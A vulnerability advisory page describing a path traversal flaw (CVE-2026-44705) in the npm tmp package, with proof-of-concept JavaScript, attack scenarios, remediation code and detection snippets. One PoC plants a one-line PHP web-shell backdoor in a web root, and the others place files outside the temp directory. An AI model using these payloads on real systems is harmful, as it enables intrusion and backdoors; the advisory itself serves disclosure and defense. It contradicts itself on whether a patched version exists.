CVE-2026-44705: tmp: Path Traversal via unsanitized prefix/postfix enables directory escape

Published May 27, 2026
·
Updated

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow: 1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix> 2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name) 3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern: javascript // In tmp package internals const name = ${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir

Path Traversal Mechanics: - prefix/postfix traversal: ../../../evil in prefix escapes directory structure - Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely - Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text - Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points: - No input validation on prefix, postfix, or dir parameters - Direct use of user input in path construction - Reliance on path.join() normalization without containment checks - Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix: javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs');

// Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir);

// Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); });

Directory Escape via postfix: javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); });

Absolute Path Bypass via dir: javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); });

Advanced Multi-Vector Attack: javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename };

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); });

Real-World Attack Simulation: javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); }

// Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart

2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production

4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation

Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality - Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

- Ecosystem: npm - Package name: tmp - Repository: github.com/raszi/node-tmp - Affected versions: All versions with vulnerable path construction logic - Patched versions: None currently available

Component Impact: - tmp.file() function - vulnerable to prefix/postfix/dir traversal - tmp.dir() function - vulnerable to same parameter manipulation - tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

1. Sanitize prefix/postfix: javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); }

function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9.-]/g, ''); }

2. Validate dir parameter: javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; }

3. Post-construction path validation: javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; }

Secure Implementation Pattern: javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); }

Workarounds

For Application Developers:

1. Input Sanitization: javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9.-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); }

2. Path Validation: javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; }

3. Restricted Usage: javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

1. Code Review Patterns: bash Search for dangerous tmp usage grep -r "tmp\.file.prefix.req\|tmp\.file.postfix.req" . grep -r "tmp\.dir.opts\|tmp\.file.opts" .

2. Runtime Monitoring: javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); };

Detection and Monitoring

Static Analysis: - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories

Runtime Detection: javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; }

File System Monitoring: bash Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == "CREATE" && "$file" != /tmp/tmp- ]]; then echo "Unexpected file creation: $file" fi done Acknowledgements

Reported by: Mapta / BugBunnyai

Other sources

tmp is a temporary file and directory creator for node.js. Prior to 0.2.6, the tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. This vulnerability is fixed in 0.2.6.

MITRE

Affected Software

2 affected componentsFixes available
npm/tmp<0.2.6
0.2.6
raszi Tmp Node.js<0.2.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tmp to a version that resolves this vulnerability.

    Fixed in 0.2.6
  2. Upgrade

    Upgrade tmp to a version that resolves this vulnerability.

    Fixed in 0.2.6
  3. Configuration

    In calls to tmp.file/tmp.dir/tmp.tmpName that accept user-controlled input, set opts.dir only after validating it: if path.isAbsolute(dir) then throw an error (e.g., 'Absolute paths not allowed for dir option'); otherwise validate it against the intended base directory using validateDir(opts.dir, opts.tmpdir).

    tmp (Node.js) file/directory creation options opts.dir = Reject absolute paths; allow only non-absolute, validated relative dir
  4. Configuration

    Before passing user-controlled opts.prefix to tmp.file/tmp.dir, sanitize and validate it: sanitizePrefix(opts.prefix) should remove/replace non-safe characters and reject any prefix containing '..' (e.g., options.prefix && options.prefix.includes('..') => reject/throw).

    tmp (Node.js) file/directory creation options opts.prefix = Allow only safe characters; reject traversal sequences ('..') and path separators
  5. Configuration

    Before passing user-controlled opts.postfix to tmp.file/tmp.dir, sanitize and validate it: sanitizePostfix(opts.postfix) should remove/replace non-safe characters and reject any postfix containing '..' (e.g., options.postfix && options.postfix.includes('..') => reject/throw). Use the shown character allowlist replacement pattern: String(postfix).replace(/[^A-Za-z0-9._-]/g, '').

    tmp (Node.js) file/directory creation options opts.postfix = Allow only safe characters; reject traversal sequences ('..') and path separators
  6. Configuration

    Add post-construction validation to ensure the computed tmp path does not escape the intended base directory: after computing finalPath (path.join(tmpDir, opts.dir, name) / path.resolve(baseDir, dir) / path.resolve(finalPath), call validateFinalPath(finalPath, baseDir); if the finalPath is outside baseDir (e.g., !filepath.startsWith(baseDir) or relative.startsWith('..') / path.isAbsolute(relative)), throw an error (e.g., 'Generated path escapes base directory' / 'Generated path escapes temporary directory').

    tmp (Node.js) path handling Final path containment check = Require resolved finalPath to be within base dir; fail if escapes
  7. Compensating control

    Monitor/alert on file creation events outside expected tmp directories (e.g., use inotifywait to watch /tmp and /var/tmp): alert when events are CREATE and the file is not within the expected pattern (example condition: event CREATE and $file != /tmp/tmp-* => flag 'Suspicious tmp usage detected').

  8. Operational

    Audit and remediate application code paths that pass untrusted data into tmp options: search for tmp usage patterns such as tmp.dir/tmp.file with opts/prefix/postfix from requests (example grep queries provided in the material) and replace with sanitized/validated inputs or safe literal values.

Event History

May 27, 2026
Advisory Published
via GitHub·12:34 AM
Data Sourced
via GitHub·12:34 AM
DescriptionWeaknessAffected Software
Jun 11, 2026
CVE Published
via MITRE·03:42 PM
Data Sourced
via MITRE·03:42 PM
DescriptionWeakness
Data Sourced
via Red Hat·05:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44705?

CVE-2026-44705 has a risk rating of 57, indicating a moderate level of severity.

2

What systems are affected by CVE-2026-44705?

CVE-2026-44705 affects the npm tmp package, specifically when used with untrusted data in the prefix, postfix, or dir options.

3

How do I fix CVE-2026-44705?

To remediate CVE-2026-44705, update to the latest version of the tmp package where the path traversal vulnerability has been addressed.

4

What type of vulnerability is CVE-2026-44705?

CVE-2026-44705 is classified as a path traversal vulnerability stemming from insufficient input validation.

5

How can attackers exploit CVE-2026-44705?

Attackers can exploit CVE-2026-44705 by injecting traversal sequences into the prefix, postfix, or dir parameters to access unauthorized files.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203